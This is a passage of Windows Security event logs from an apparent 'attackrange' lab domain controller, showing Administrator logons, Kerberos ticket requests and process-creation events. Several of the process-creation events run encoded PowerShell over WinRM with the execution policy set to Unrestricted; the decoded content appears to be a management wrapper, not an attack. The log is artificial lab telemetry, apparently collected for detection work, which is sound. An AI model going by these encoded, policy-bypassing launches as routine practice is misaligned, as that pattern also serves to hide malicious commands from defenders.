			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249786
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEDBBC
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{A461350A-D96B-0B48-E20D-434B379AF17B}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249785
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{A461350A-D96B-0B48-E20D-434B379AF17B}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=249784
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{A461350A-D96B-0B48-E20D-434B379AF17B}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=249783
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=249782
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEC41D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf5c
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x5d8
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=249781
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEC41D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5d8
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x9b0
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249780
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEC883

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249779
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEC883
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{A461350A-D96B-0B48-E20D-434B379AF17B}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249778
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{A461350A-D96B-0B48-E20D-434B379AF17B}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=249777
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{A461350A-D96B-0B48-E20D-434B379AF17B}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=249776
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=249775
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEC41D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9b0
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf10
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=249774
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEC41D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf10
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xa38
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249773
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEC66D

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:48:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249772
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
